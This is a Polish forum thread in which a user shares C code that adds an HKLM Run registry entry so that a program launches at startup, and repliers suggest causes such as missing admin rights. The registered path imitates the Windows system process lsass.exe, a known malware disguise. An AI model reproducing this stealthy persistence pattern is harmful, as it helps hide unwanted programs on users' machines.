Autostart CMD.

0

ześć mam oto taki kod:

...To jest w "int main(void)"

int test,create; 
test=test_key(); 
if (test==2) // Create key. 
{ 
    char *path="C:\\WINDOWS\\system32\\lsass.exe";
    create=create_key(path); 
}

Kolejna część:


int test_key(void)
{
    int check; 
    HKEY hKey; 
    char path[BUFSIZE]; 
    DWORD buf_length=BUFSIZE; 
    int reg_key; 
    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey); 
    if(reg_key!=0) 
    { 
        check=1; 
        return check; 
    } 
    reg_key=RegQueryValueEx(hKey,"Kkey",NULL,NULL,(LPBYTE)path,&buf_length); 
    if((reg_key!=0)||(buf_length>BUFSIZE))
    {
        check=2;
    }
    if(reg_key==0)
    {
        check=0; 
        RegCloseKey(hKey); 
    }
}
int create_key(char *path) 
{
    int reg_key,check; 
 
    HKEY hkey; 
    reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey); 
     
    if(reg_key==0) 
    { 
        RegSetValueEx((HKEY)hkey,"Kkey",0,REG_SZ,(BYTE *)path,strlen(path)); 
        {
            check=0; 
        }
        return check; 
    } 
    if(reg_key!=0) 
    {
        check=1; 
    }
    return check;
}


Tylko problem jest w tym, że program nie uruchamia się przy starcie. Jakieś porady? Dzięki.

0

Utworzył się ten klucz? Sprawdzałeś w rejestrze?
Program wykonał się poprawnie?
Obstawiam RegCreateKey

Note This function is provided only for compatibility with 16-bit versions of Windows. Applications should use the RegCreateKeyEx function. However, applications that back up or restore system state including system files and registry hives should use the Volume Shadow Copy Service instead of the registry functions.

0

Zwróciłeś uwagę na to, że chcesz dopisywać do klucza HKLM? Od dawna zwykły user nie ma prawa tam pisać. Dlatego właśnie sprawdź dodatkowo na podniesionych uprawnieniach jak działa program. Jakie wartości zwracają funkcje.

1 użytkowników online, w tym zalogowanych: 0, gości: 1